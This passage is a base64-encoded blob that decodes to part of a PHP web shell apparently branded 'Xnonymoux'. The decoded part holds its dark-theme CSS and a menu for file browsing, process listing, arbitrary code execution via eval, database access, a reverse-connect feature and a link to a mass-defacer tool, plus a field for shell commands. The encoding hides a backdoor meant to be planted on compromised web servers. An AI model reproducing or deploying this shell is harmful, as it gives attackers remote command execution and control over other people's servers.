pc0ZFQ1VNbTM1enpuOHZPSEFBNXZDRUZKNTBCY005ZnpBN3lQTVhzSW90SDRSUjI4Q1NjeGlvK2hDZXc2Q3dKVDJMRktRbFA0YzQ1Rlo3R3N2TXVuQ0Vuc1RNb3VRdkNzK1I5NFRuazNWdmhITEp1MHM4ODdRL0N6K1NrbnhmNDdpdDIwY01sYmhDaGhTYk9vYUd3RGg5RkxrVnZpQzRWWFhwcjVEWnRCOVRVNFpFTUczdUQvajczT2kxWDVEbzVJbXZtYS9EL0NGVnIxOXdWOW13Ky9TTzZablZGWnZVSDFJRlY5M0JJUlpPV05ydUlobWpVZ0VyaDJIYlNaeDJqVU16dVlXdG9qY0g0LzBRbnNXc2pPd3p0cmZ4K24wWnR2ajZ5OFMzVzA3WnVmSithRk5vYjdWamxCZjJLR2M3K2VKMktQV3ZwUE9BcFpQYkVQOXBycGtCektzb29jRjNiNWRIK0hkT1JDSTkxZXp3Vnhvb1ovNlZQcUtueURwSkppaWNua08rcDBGdXo4N2t0MDF6R0psL083UDdYZkc5OEFvdE9sbHdBZU5wdDBFVnNGSEVVeC9IdmEzZTc3ZGJkS2U0eU05dXA0THR0QjNkM0NyVkZXdGl5dUliaUVnZ0pOd2gyQVlKcklNQUJDRzVCQWh3NDQrRUFYR0hhK1hQakpTK2Z2UC9oOTE3K1JOQlNmOXgwNW4vMXlXNlJDSWtrRWhkdW92QVFUUXhlWW9ram5nUVNTU0taRkZKSkk1ME1Nc2tpbXh4eXlTT2ZWaFRRbWphMHBSM3Q2VUJIT3RtYnV0Q1ZiblNuQnozcGhZYU9nWTlDVElvb3BvUlNldE9IdnZTalB3TVlpSjhBWlpSVGdjVWdCak9Fb1F4ak9DTVl5U2hHTTRheGpHTThFNWpJSkNZemhhbE1Zem96bU1rc1psTXBMbzdTeENadXNKK1BiR1kzT3pqQWNZNkptKzI4WnlQN0pFbzg3SkpvdG5LYkR4TERRVTd3aTUvODVnaW5lTUE5VGpPSHVleWhpa2RVYzUrSFBPTXhUM2hxLzFNTkwzbk9DODVReXcvMjhvWlh2S2FPTDN4akcvTUlNcCtGTEtDZVF6U3dtRVdFYUNUTUVwYXlqTThzWnlVcldNVWFWbk9WdzZ4akxldlp3RmUrYzQyem5PTTZiM2tuWG9tVk9JbVhCRW1VSkVtV0ZFbVZORW1YRE1ua1BCZTR6Qlh1Y0pGTDNHVUxKeVdMbTl5U2JNbGhwK1JLbnVSN3d2VkJUZFBLSFhXbFgxT3FPV0FvZlVwVFdkcXNZUWNvZGFXaDlDa0xsYWF5U0Ztc0xGSCt5L003NmlwWDE3MDF3ZHB3cUxxcXNySE9lVElzUjlOeVZZUkREUzJEYVpVMWF3V2NPMnlOdnc2cm1WUUFBSGphUGN3OUVzRkFIQVh3YkZZMmtjK05DU296TVhSYmFiUWFTWlBHcUxJenptRkdwMUZ5Q2dmNFIrVVNqdUFzUEt6dDN1L05tM2RucnhPeHM5TlFzR2s3eGk2NnE0VnFweVIxUThVVzRhZ25KTlN1ZFlpWEZYRzFKbEZXTi81MDFSY2VJSzRHUGNBN0dQaWYyY01nQVB5aFFSOElzaDhZaGVZMlFodEtWM1c4M29NeEdJMHNFekJlV2FaZ3NyRE13SFJ1S2NGc1pwbURjbXc1QVBQbG41b0s5UWJpQmtxc0FBQUJVcVoxV2dBQSkgZm9ybWF0KCd3b2ZmJyk7DQogICAgZm9udC13ZWlnaHQ6IG5vcm1hbDsNCiAgICBmb250LXN0eWxlOiBub3JtYWw7DQp9DQo6Oi1tb3otc2VsZWN0aW9ue2NvbG9yOiMwMDAwMDA7YmFja2dyb3VuZDojRkZGRkZGO30NCjo6c2VsZWN0aW9ue2NvbG9yOiMwMDAwMDA7YmFja2dyb3VuZDojRkZGRkZGO30NCip7Zm9udC1mYW1pbHk6dWJ1bnR1X21vbm9yZWd1bGFyOy13ZWJraXQtYm94LXNpemluZzpib3JkZXItYm94Oy1tb3otYm94LXNpemluZzpib3JkZXItYm94O2JveC1zaXppbmc6Ym9yZGVyLWJveDtib3JkZXI6MDt9DQpib2R5e2JhY2tncm91bmQ6IzAwMDAwMDtmb250LXNpemU6MTJweDtjb2xvcjojRkZGRkZGO2ZvbnQtd2VpZ2h0OjQwMDt9DQpocntib3JkZXItYm90dG9tOjFweCBkYXNoZWQgIzIyMjIyMjt9DQphe2NvbG9yOiMxQkU2Mjg7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KYTpob3Zlcntjb2xvcjojRkZGRkZGO30NCnByZXtwYWRkaW5nOjAgOHB4O30NCmZvcm17ZGlzcGxheTppbmxpbmU7fQ0KdGFibGUgdGgscHtjdXJzb3I6ZGVmYXVsdDt9DQppbnB1dDpmb2N1cyxzZWxlY3Q6Zm9jdXMsdGV4dGFyZWE6Zm9jdXMsYnV0dG9uOmZvY3Vze291dGxpbmU6IG5vbmU7fQ0KI21haW57YmFja2dyb3VuZDojMTExMTExOy1tb3otYm9yZGVyLXJhZGl1czoxMHB4O2JvcmRlci1yYWRpdXM6MTBweDt3aWR0aDoxMDAlO3BhZGRpbmc6MnB4IDhweDt9DQojaGVhZGVye3RleHQtYWxpZ246bGVmdDttYXJnaW46MDtwYWRkaW5nOjA7fQ0KI2hlYWRlciB0ZHttYXJnaW46MDtwYWRkaW5nOjA7fQ0KI2hlYWRlciBoMXtmb250LXNpemU6MjBweDstd2Via2l0LXRyYW5zZm9ybTpyb3RhdGUoMC4wZGVnKTstbW96LXRyYW5zZm9ybTpyb3RhdGUoMC4wZGVnKTstbXMtdHJhbnNmb3JtOnJvdGF0ZSgwLjBkZWcpOy1vLXRyYW5zZm9ybTpyb3RhdGUoMC4wZGVnKTt0cmFuc2Zvcm06cm90YXRlKDAuMGRlZyk7bWFyZ2luOjA7cGFkZGluZzowO30NCiNoZWFkZXIgaDEgYSwueHBsOmhvdmVyIGF7Y29sb3I6I0ZGRkZGRjt9DQojbWVudXtiYWNrZ3JvdW5kOiMxMTExMTE7bWFyZ2luOjAgMnB4IDRweDt9DQojcmVzdWx0ey1tb3otYm9yZGVyLXJhZGl1czoxMHB4O2JvcmRlci1yYWRpdXM6MTBweDtib3JkZXI6MXB4IHNvbGlkICMxQkU2Mjg7bGluZS1oZWlnaHQ6MTZweDtiYWNrZ3JvdW5kOiMxMTExMTE7Y29sb3I6IzBBQThGMjttYXJnaW46MCAwIDhweDtwYWRkaW5nOjRweCA4cHg7fQ0KLmhlYWRpbmZve2JvcmRlci1sZWZ0OjFweCBzb2xpZCAjMUJFNjI4O21hcmdpbjo2cHg7cGFkZGluZzoycHggMCAwIDE2cHg7fQ0KLmhlYWR0YmxzIHRye2hlaWdodDoyNHB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt9DQouZ2F5YSwudmVye2NvbG9yOiMxQkU2Mjg7Zm9udC13ZWlnaHQ6NzAwO30NCi52ZXJ7LXdlYmtpdC10cmFuc2Zvcm06cm90YXRlKDAuMGRlZyk7LW1vei10cmFuc2Zvcm06cm90YXRlKDAuMGRlZyk7LW1zLXRyYW5zZm9ybTpyb3RhdGUoMC4wZGVnKTstby10cmFuc2Zvcm06cm90YXRlKDAuMGRlZyk7dHJhbnNmb3JtOnJvdGF0ZSgwLjBkZWcpO2xldHRlci1zcGFjaW5nOjJweDt9DQoubWVudW1pe2JhY2tncm91bmQ6IzI5MjkyOTtjb2xvcjojMUJFNjI4O3RleHQtZGVjb3JhdGlvbjpub25lO2xldHRlci1zcGFjaW5nOjJweDtmb250LXNpemU6MTJweDstd2Via2l0LXRyYW5zZm9ybTpyb3RhdGUoMC4wZGVnKTstbW96LXRyYW5zZm9ybTpyb3RhdGUoMC4wZGVnKTstbXMtdHJhbnNmb3JtOnJvdGF0ZSgwLjBkZWcpOy1vLXRyYW5zZm9ybTpyb3RhdGUoMC4wZGVnKTt0cmFuc2Zvcm06cm90YXRlKDAuMGRlZyk7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDttYXJnaW46MDtwYWRkaW5nOjRweCA4cHg7fQ0KLm1lbnVtaTpob3ZlcntiYWNrZ3JvdW5kOiMzNjM2MzY7LXdlYmtpdC10cmFuc2Zvcm06cm90YXRlKDAuMGRlZyk7LW1vei10cmFuc2Zvcm06cm90YXRlKDAuMGRlZyk7LW1zLXRyYW5zZm9ybTpyb3RhdGUoMC4wZGVnKTstby10cmFuc2Zvcm06cm90YXRlKDAuMGRlZyk7dHJhbnNmb3JtOnJvdGF0ZSgwLjBkZWcpO30NCi5pbnB1dHosLnByb21wdCwudHh0YXJlYXtiYWNrZ3JvdW5kOiMxMTExMTE7Ym9yZGVyOjA7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzM2MzYzNjtmb250LXNpemU6MTJweDtjb2xvcjojRkZGRkZGO3BhZGRpbmc6MnB4O30NCi5wcm9tcHR7Zm9udC13ZWlnaHQ6NzAwO30NCi50eHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjM3MHB4O30NCi5pbnB1dHpidXR7Zm9udC1zaXplOjEycHg7YmFja2dyb3VuZDojMTkxOTE5O2NvbG9yOiMxQkU2Mjg7Ym9yZGVyOjFweCBzb2xpZCAjMjIyMjIyO21hcmdpbjowIDRweDt9DQouYnV0e2Zsb2F0OmxlZnQ7YmFja2dyb3VuZDojMUJFNjI4O2NvbG9yOiMwMDAwMDA7bWFyZ2luOjAgNHB4IDAgMDtmb250LXNpemU6MjBweDt3aWR0aDoxNnB4O2hlaWdodDoxNnB4O2JvcmRlci1yYWRpdXM6NTAlO3RleHQtYWxpZ246Y2VudGVyO3BhZGRpbmc6MDtsaW5lLWhlaWdodDoxMnB4O2N1cnNvcjpkZWZhdWx0fQ0KLmV4cGxvcmV7d2lkdGg6MTAwJTtwYWRkaW5nOjRweCAwO30NCi5leHBsb3JlIGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KLmV4cGxvcmUgdGR7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjtsaW5lLWhlaWdodDoyNHB4O3BhZGRpbmc6MCA4cHg7dmVydGljYWwtYWxpZ246dG9wO30NCi5leHBsb3JlIHRoe2ZvbnQtd2VpZ2h0OjcwMDtiYWNrZ3JvdW5kOiMyMjIyMjI7cGFkZGluZzo2cHggOHB4O30NCi5leHBsb3JlIHRyOmhvdmVye2JhY2tncm91bmQ6IzE5MTkxOTt9DQouc2VtYnVueWl7ZGlzcGxheTpub25lO21hcmdpbjowO3BhZGRpbmc6MDt9DQouaW5mbyB0YWJsZXt3aWR0aDoxMDAlO2JvcmRlci1yYWRpdXM6NnB4O2JvcmRlcjoxcHggc29saWQgIzFCRTYyODttYXJnaW46NHB4IDA7cGFkZGluZzo4cHg7fQ0KLmluZm8gdGgsdGh7YmFja2dyb3VuZDojMTkxOTE5O2ZvbnQtd2VpZ2h0OjcwMDt9DQouaW5mbyB0ZHtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMjIyMjIyO30NCi5pbmZvIGgye3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToxNXB4O2JhY2tncm91bmQ6IzE5MTkxOTtsZXR0ZXItc3BhY2luZzo2cHg7Ym9yZGVyLXJhZGl1czo2cHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzFCRTYyODttYXJnaW46NHB4IDAgOHB4O3BhZGRpbmc6MTBweDt9DQouaW5mbyBhe2NvbG9yOiNDQ0NDQ0M7fQ0KLnZpZXdmaWxle3dpZHRoOjEwMCU7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjttYXJnaW46MCAwIDRweDt9DQoudmlld2ZpbGUgdGR7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjtiYWNrZ3JvdW5kOiMxOTE5MTk7aGVpZ2h0OjI0cHg7cGFkZGluZzoycHggNHB4O30NCi52aWV3ZmlsZWNvbnRlbnR7cGFkZGluZzoxMXB4IDhweDt9DQoubXlib3h7LW1vei1ib3JkZXItcmFkaXVzOjEwcHg7Ym9yZGVyLXJhZGl1czoxMHB4O2JvcmRlcjoxcHggc29saWQgIzFCRTYyODttYXJnaW46NHB4IDAgOHB4O3BhZGRpbmc6MTRweCA4cHg7fQ0KLm15Ym94IGgye2JvcmRlci1ib3R0b206MXB4IHNvbGlkICM0NDQ0NDQ7Y29sb3I6IzFCRTYyODttYXJnaW46MDtwYWRkaW5nOjAgMCA4cHg7fQ0KLm5vdGlme2JhY2tncm91bmQ6IzFCRTYyODtjb2xvcjojMDAwMDAwO2JvcmRlci1yYWRpdXM6NnB4O2ZvbnQtd2VpZ2h0OjcwMDttYXJnaW46M3B4IDA7cGFkZGluZzo0cHggOHB4IDJweDt9DQoubm90aWYgYXtjb2xvcjojMDAwMDAwO30NCi5mb290ZXJ7dGV4dC1hbGlnbjpyaWdodDtmb250LXNpemU6MTBweDtsZXR0ZXItc3BhY2luZzoycHg7Y29sb3I6IzIyMjIyMjtwYWRkaW5nOjAgMTZweDt9DQouaGVhZHRibCwubXlib3h0Ymx7d2lkdGg6MTAwJTt9DQppbnB1dFt0eXBlPWNoZWNrYm94XS5jc3MtY2hlY2tib3ggKyBsYWJlbC5jc3MtbGFiZWx7cGFkZGluZy1sZWZ0OjIwcHg7aGVpZ2h0OjE1cHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7bGluZS1oZWlnaHQ6MTVweDtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjowIDA7dmVydGljYWwtYWxpZ246bWlkZGxlO2N1cnNvcjpwb2ludGVyO30NCmlucHV0W3R5cGU9Y2hlY2tib3hdLmNzcy1jaGVja2JveDpjaGVja2VkICsgbGFiZWwuY3NzLWxhYmVse2JhY2tncm91bmQtcG9zaXRpb246MCAtMTVweDt9DQouaW5mbywuaW5mbyBoMSwuaW5mbyBocixpbnB1dFt0eXBlPWNoZWNrYm94XS5jc3MtY2hlY2tib3h7ZGlzcGxheTpub25lO30NCi5jc3MtbGFiZWx7YmFja2dyb3VuZC1pbWFnZTp1cmwoZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFBOEFBQUFlQ0FZQUFBRHpYRVIwQUFBQUdYUkZXSFJUYjJaMGQyRnlaUUJCWkc5aVpTQkpiV0ZuWlZKbFlXUjVjY2xsUEFBQUFTZEpSRUZVZU5yc2swR0t3akFZaFpOSnFZdmlRcERLTE9jWTNzT0ZJRjVERkYwS2dqZVlBd2l6bUR1Tk94SGNGckdsamU5cEExS2JOT3FzaHZuaDJZRDU4djZtNzVkeEhJZENpQWswZ3Q1RmMrMmdEYlFPOEROVFNrMUQxQnRLU2lrb1d4VkYwVTdUZEo1bG1TSThCdGZDQVJLc29GeXcxcG9lTGNCandsMGFFZ3FDd0FtYTRuNXloQytBY2VTenFkRDY5UkFEK3pqZWRTQmVxSC80Q2ZpQTc0YmdhRytvM0h4UVVSUjFzT2dqbnFwTUR2KzBpa1pKa3B6eVBQOWt3bGJJYVFnTnNPNTVHTytoYjJocDN2bkkxSGwyWFpUN3hlK1BKTmJXWVdnY3lhbzdMK3AyMmg0YXllcGhkeVBKVmwzditqRmN1aE5tZyt0QWF6eHZOOXRBODZtODNINitGbTVuM21wZDQ5c1NsRGFZTjNqSmI4V0Zhek15MnJmdHVqYi95RWllQlJnQVpIRy9PZUdlZjZNQUFBQUFTVVZPUks1Q1lJST0pO30NCi5pY29ue21hcmdpbjoycHggMDtib3JkZXI6MDt9DQouZHJpdmUtbGV0dGVye2NvbG9yOiNGRkZGRkY7fQ0KLmRlc2N7Y29sb3I6Izk5OTk5OTt9DQouY2JveF9zZWxlY3RlZHtiYWNrZ3JvdW5kLWNvbG9yOiMyMDIwMjA7fQ0KLmNib3hfYWxse3RleHQtYWxpZ246Y2VudGVyO3RleHQtaW5kZW50OjRweDt9DQouc2NoZW1hYm94e2JhY2tncm91bmQtY29sb3I6IzFCRTYyODtib3JkZXItcmFkaXVzOjJweDt9DQouYmJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzM2MzYzNjt9DQouYnR7Ym9yZGVyLXRvcDoxcHggc29saWQgIzM2MzYzNjt9DQouY2V7dGV4dC1hbGlnbjpjZW50ZXI7fQ0KLmxle3RleHQtYWxpZ246bGVmdDt9DQoubHMye2xldHRlci1zcGFjaW5nOjJweDt9DQoubXB7bWFyZ2luOjA7cGFkZGluZzowO30NCi53NjB7d2lkdGg6NjBweDt9DQoudzU5NHt3aWR0aDo1OTRweDt9DQoudzU3OHt3aWR0aDo1NzhweDt9DQoNCiNuYXZpZ2F0aW9ue3Bvc2l0aW9uOmZpeGVkO2xlZnQ6LTE2cHg7dG9wOjQ2JTt9DQojdG90b3AsI3RvYm90dG9te2JhY2tncm91bmQ6dXJsKGRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQ0FBQUFBZ0NBWUFBQUJ6ZW5yMEFBQUFDWEJJV1hNQUFBc1NBQUFMRWdIUzNYNzhBQUFFWUVsRVFWUll3OFZYUzB4Y1ZSait6N2t2NXRGNU1QZk9vMUFna0ZCS29RUHVGQXl4c3RLa2NXSGpHaE9qY2FjeHVqTXhhcXR4NDhiNGlERXh4aVp1WEJWZHRFVVJOMDBxREJNZ1RVT21uVEVNYysvY2U0ZDVjK2s5NTdnWkVLWUNkNURTYjN0T3p2K2QvLzBoY0FDTzQ3aGdzTDA3SEE1ZkRJZkRrejZmZnhRQW9nRGdibHlwTWNaeXBWSXBZUmo2RFZWVlowelRTQk5DeUdGdm80TU9NY2E4TE1zanZiMTlyOHV5OGlMR09BSUErSkEzS2FWVTFYVjlPcFZhL1ZyWDlRU2wxRzZaZ00vbmk1dzdOL2l1b29Tbk1NWkJPQUlvcFFWTjA3NjdlM2ZsczFLcHBEb2lnQkNDcnE2dWtmNytnUzljTHRmVGgzbkpBVmk5WHIrZFRDYmYxTFRjQW1Oc2IzaWJqWGQzOTR3UERRMWZFMFV4Zmd6R0FRQ1FJQWlkMFdoczh1SERyZmxpc1pqWmw4RHAwNTJqdzhQeGF6elA5Y0V4QTJQY0hnb3BFN1ZhN1k5eXVaUjdoSURQNTR1TWpqNzFneVNKRitBeEFXUGNIZ3dHaDNVOWY5MnlyT29PQVl3eEY0K1B2QjhJQkY5dTBlMDJBRkFIbGJFRFFSQTYzVzQzeldiWGYyZU1NUXdBME5IUk9hb280VmRiZVlneFptVXk2U3VaVFBvanh0aG1LNDZRWmVVMVdRNWQyTzR4M01EQTRBZGVyM2VzRmVQcDlJTXJTMHRMbjJpYU5pZUtJdkg3QTg4Z2hIaEhXWW1RV3hRbHRMNmUvWlVMaGVUZS92Nytxd2poVTYwWVgxNWUvcFFRMjJLTUVzTXdicmRLd3VWeXhRb0Y4MmV1cDZmdmNpZ1Vlc1ZKN0Jsam0rbjBnNnZieG5jMUhLTHJyWkZBQ0hrc3kxcmhCZ2ZQdjlmVzFqYms4T2VQR1AvM2ZJZUU3ZmNIeGh5UVFCaWpPaGVQajN3SUFISXJidC8vWG11ZTRIbUI1ODZlSGZnWUFLU2ovdnovZUFKakxQQUE0RGxvbmhTTHBlOVZWZnN4R0F5R2Q4ZDhZNk9nVWtySmRoOEpCSUlSalBGT1kxTlY3YWRBSU5nUkNBVGVPS0M4dmVqU3BaZnM1cGE4KzBNQVVHU003Um1ubG1YbFoyZC9tN0FzS3c4QUlFbVNNakh4M0t3a1NVcFRvdkVBNEQ4Z3dRa1BBSlhHcGYybVpRQWgxSnpCcE9sWEdDSFVqaENTVyt6T0ZXemJkZzZlRUd6YlhzZVZTbm54U1JHb1ZNcUxXTmZObTQyQmN0SWdobUhjeEpxV3UwVXBPZkV3VUVyVmZGNmJ3WVdDbWRaMVkvcWtDZWk2UG0wWVJob1RRa2dxdGZvVnBkUjB2R01od0tJb0taSWtSU1JKaW9paXBDRGtmSlJUU28xVWF2VkxRZ2poRzJ3VzgzbnQyMGdrK282VG5VQVF4TkRZMlBnTVk0dzJ5aElMZ2hCeWF0ODBqVzhNdzBqdWJFU01NVmFwbEpPUlNIUmNFSVF6RGlZWjRqak93L084bCtkNUw4ZHhIdFRjTFBiQjVtYjl6MFJpNGExNnZWN1pzeE5hbGxXdFZxdC94V0t4aXhqajBHTkplMEx1TFN6TVR4bUdmdjgvdCtKYXJhcHViVzNOeTdMeTdIR1RzRzM3M3NySzhsUTJ1M1puMzdVY0FLQllMUDV0V1p0elBwOXZVQkRFTThlZ0RXaTFXcDFiWEV4TVpiTnJkdzRVSnJ0SXFMbWNlbDBVSmR2ajhaN0hHTG1QVnV2RVdGdGIrenlSV0hoN1k2TncveWppbEpObHBTRk81UmN3eGpHSDRuUmQxL1ZmZG9sVGNpUjEzQ1RQdThMaDhQT3lMRTk2dmFmaVBNOUhBV0I3a1MzYnRwMnJWTXBKMHpSdnFLcDZ5elNOakJONS9nL0MzVUxEZUlkSXJRQUFBQUJKUlU1RXJrSmdnZz09KTt3aWR0aDozMnB4O2hlaWdodDozMnB4O29wYWNpdHk6MC4zMDttYXJnaW46MTJweCAwO30NCiN0b3RvcDpob3ZlciwjdG9ib3R0b206aG92ZXJ7b3BhY2l0eTowLjgwO30NCiN0b2JvdHRvbXstd2Via2l0LXRyYW5zZm9ybTpzY2FsZVkoLTEpOy1tb3otdHJhbnNmb3JtOnNjYWxlWSgtMSk7LW8tdHJhbnNmb3JtOnNjYWxlWSgtMSk7dHJhbnNmb3JtOnNjYWxlWSgtMSk7ZmlsdGVyOkZsaXBWOy1tcy1maWx0ZXI6IkZsaXBWIjt9DQppbnB1dC5idXR0b256eiB7DQogICAgICAgIGJhY2tncm91bmQ6ICM1ODgxMGM7DQogICAgICAgIHBhZGRpbmc6IDVweCAxMHB4Ow0KICAgICAgICBib3JkZXI6IG5vbmU7DQoJYm9yZGVyLXJhZGl1czogMnB4Ow0KCS1tb3otYm9yZGVyLXJhZGl1czogMnB4Ow0KCS13ZWJraXQtYm9yZGVyLXJhZGl1czogMnB4Ow0KICAgICAgICBjb2xvcjogIzAwMDAwMDsNCiAgICAgICAgZm9udC1mYW1pbHk6ICdSb2JvdG8nLCBhcmlhbCwgc2Fucy1zZXJpZjsNCiAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICB0ZXh0LXNoYWRvdzogMHB4IC0xcHggMHB4ICM0MDVlMDg7DQoJCX0NCg0KDQoNCmlucHV0LnRleHRib3ggew0KCWJhY2tncm91bmQ6ICMyMDIwMjA7DQogICAgICAgIHBhZGRpbmc6IDVweDsNCglib3JkZXI6IDFweCBzb2xpZCAjMzAzMDMwOw0KCWJvcmRlci1yYWRpdXM6IDJweDsNCgktbW96LWJvcmRlci1yYWRpdXM6IDJweDsNCgktd2Via2l0LWJvcmRlci1yYWRpdXM6IDJweDsNCgljb2xvcjogI2EwYTBhMDsNCiAgICAgICAgZm9udC1mYW1pbHk6ICdSb2JvdG8nLCBhcmlhbCwgc2Fucy1zZXJpZjsNCn0NCg0KaW5wdXQudGV4dGJveDpmb2N1cyB7DQogICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICM3MGE0MGU7DQogICAgICAgIG91dGxpbmU6IG5vbmU7DQogICAgICAgIGNvbG9yOiAjZmZmOw0KCQl9DQoNCg0KaW5wdXQuYnV0dG9ueno6aG92ZXIgew0KICAgICAgICBiYWNrZ3JvdW5kOiAjNDM2MjA5Ow0KICAgICAgICBjdXJzb3I6IHBvaW50ZXI7DQoJCX0NCmlucHV0LnRleHRib3gsIHRleHRhcmVhLCBzZWxlY3QsIGlucHV0LmJ1dHRvbnp6LCAucGFnaW5hdGlvbiBhLCBhLmxhcmdlX2J1dHRvbiwgLnBvc3RfYnV0dG9ucyBhLCAuZXhwY29saW1hZ2Ugew0KCS13ZWJraXQtdHJhbnNpdGlvbi1kdXJhdGlvbjogLjE1czsNCgktbW96LXRyYW5zaXRpb24tZHVyYXRpb246IC4xNXM7DQoJLW8tdHJhbnNpdGlvbi1kdXJhdGlvbjogLjE1czsNCgktbXMtdHJhbnNpdGlvbi1kdXJhdGlvbjogLjE1czsNCgl0cmFuc2l0aW9uLWR1cmF0aW9uOiAuMTVzOw0KCX0NCjwvc3R5bGU+DQoNCjwvaGVhZD4NCjxib2R5Pg0KPHRhYmxlIGlkPSdtYWluJz48dHI+PHRkPg0KPD9waHAgaWYoJHNfYXV0aCl7Pz4NCgk8ZGl2PjxzcGFuIHN0eWxlPSdmbG9hdDpyaWdodDsnPjw/cGhwDQoJaWYoIWlzc2V0KCRfQ09PS0lFWydYbm9ueW1vdXhfaW5jbHVkZWQnXSkpew0KCT8+PGEgaHJlZj0nP3g9cGFzcyc+cGFzc3dvcmQ8L2E+IHwgDQoJPD9waHAgfQ0KCT8+PGEgaHJlZj0nPD9waHAgZWNobyAkc19zZWxmOyA/Png9bG9nb3V0JyB0aXRsZT0nQ2xpY2sgbWUgdG8gbG9nIG91dCc+bG9nIG91dDwvYT4mbmJzcDsmbmJzcDs8L3NwYW4+PHRhYmxlIGlkPSdoZWFkZXInPjx0cj48dGQgc3R5bGU9J3dpZHRoOjgwcHg7Jz48dGFibGU+PHRyPjx0ZD48YSBocmVmPSc8P3BocCBlY2hvICRzX3NlbGYuImNkPSIuY3AoZGlybmFtZShyZWFscGF0aCgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pKSk7ID8+Jz48aW1nIHNyYz0iPD9waHAgZWNobyAkc19pbWFnZTsgPz4iIGFsdD0iIj48L2E+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9J3RleHQtYWxpZ246cmlnaHQ7Jz48ZGl2IGNsYXNzPSd2ZXInPjw/cGhwIGVjaG8gJHNfdmVyOyA/PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+CTx0ZD48ZGl2IGNsYXNzPSdoZWFkaW5mbyc+PD9waHAgZWNobyAkc19pbmZvOyA/PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2Pg0KCTxkaXYgc3R5bGU9J2NsZWFyOmJvdGg7Jz48L2Rpdj4NCgk8Zm9ybSBtZXRob2Q9J3Bvc3QnIG5hbWU9J2cnPjwvZm9ybT4NCgk8ZGl2IGlkPSdtZW51Jz4NCgkJPHRhYmxlIHN0eWxlPSd3aWR0aDoxMDAlOyc+PHRyPg0KCQk8dGQ+PGEgaHJlZj0nPD9waHAgZWNobyAkc19zZWxmOyA/PicgdGl0bGU9J0ZpbGUgRXhwbG9yZXInPjxkaXYgY2xhc3M9J21lbnVtaSc+WHBsb3JlcjwvZGl2PjwvYT48L3RkPg0KCQk8dGQ+PGEgaHJlZj0nPD9waHAgZWNobyAkc19zZWxmOyA/Png9cHMnIHRpdGxlPSdEaXNwbGF5IHByb2Nlc3Mgc3RhdHVzJz48ZGl2IGNsYXNzPSdtZW51bWknPlByb2Nlc3M8L2Rpdj48L2E+PC90ZD4NCgkJPHRkPjxhIGhyZWY9Jzw/cGhwIGVjaG8gJHNfc2VsZjsgPz54PWV2YWwnIHRpdGxlPSdFeGVjdXRlIGNvZGUnPjxkaXYgY2xhc3M9J21lbnVtaSc+RXhlYzwvZGl2PjwvYT48L3RkPg0KCQk8dGQ+PGEgaHJlZj0nPD9waHAgZWNobyAkc19zZWxmOyA/Png9aW5mbycgdGl0bGU9J0luZm9ybWF0aW9uIGFib3V0IHNlcnZlcic+PGRpdiBjbGFzcz0nbWVudW1pJz5TdGF0czwvZGl2PjwvYT48L3RkPg0KCQk8dGQ+PGEgaHJlZj0nPD9waHAgZWNobyAkc19zZWxmOyA/Png9ZGInIHRpdGxlPSdDb25uZWN0IHRvIGRhdGFiYXNlJz48ZGl2IGNsYXNzPSdtZW51bWknPkRhdGFiYXNlPC9kaXY+PC9hPjwvdGQ+DQoJCTx0ZD48YSBocmVmPSc8P3BocCBlY2hvICRzX3NlbGY7ID8+eD1ycycgdGl0bGU9J1JldmVyc2UgQ29ubmVjdCc+PGRpdiBjbGFzcz0nbWVudW1pJz5CQ29ubmVjdDwvZGl2PjwvYT48L3RkPg0KCQk8dGQ+PGEgaHJlZj0naHR0cDovL3hub255bW91eC5vcmcvVGhyZWFkLVN5bWxpbmstVG9vbC1NYXNzLURlZmFjZXItQ01TLURldGVjdG9yLS0nIHRpdGxlPSdTeW1saW5rIFRvb2wnPjxkaXYgY2xhc3M9J21lbnVtaSc+U3ltbGluazwvZGl2PjwvYT48L3RkPg0KCQk8dGQ+PGEgaHJlZj0nPD9waHAgZWNobyAkc19zZWxmOyA/Png9YzBkM3JzJyB0aXRsZT0nQWJvdXQgQ29kZXJzJz48ZGl2IGNsYXNzPSdtZW51bWknPkNvZGVyczwvZGl2PjwvYT48L3RkPg0KCQk8dGQgc3R5bGU9J3dpZHRoOjEwMCU7cGFkZGluZzowIDAgMCA2cHg7Jz4NCgkJPHNwYW4gY2xhc3M9J3Byb21wdCc+PD9waHAgZWNobyAkc19wcm9tcHQ7ID8+PC9zcGFuPjxmb3JtIGFjdGlvbj0nPD9waHAgZWNobyAkc19zZWxmOyA/PicgbWV0aG9kPSdwb3N0Jz4NCgkJPGlucHV0IGlkPSdjbWQnIG9uY2xpY2s9ImNsaWNrY21kKCk7IiBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdjbWQnIHN0eWxlPSd3aWR0aDo3MCU7JyB2YWx1ZT0nPD9waHANCmlmKGlzc2V0KCRfR1BbJ2NtZCddKSkgZWNobyAiIjsNCmVsc2UgZWNobyAiLSBzaGVsbCBjb21tYW5kIC0iOw0KPz4nIC8+DQoJCTxub3NjcmlwdD48aW5wdX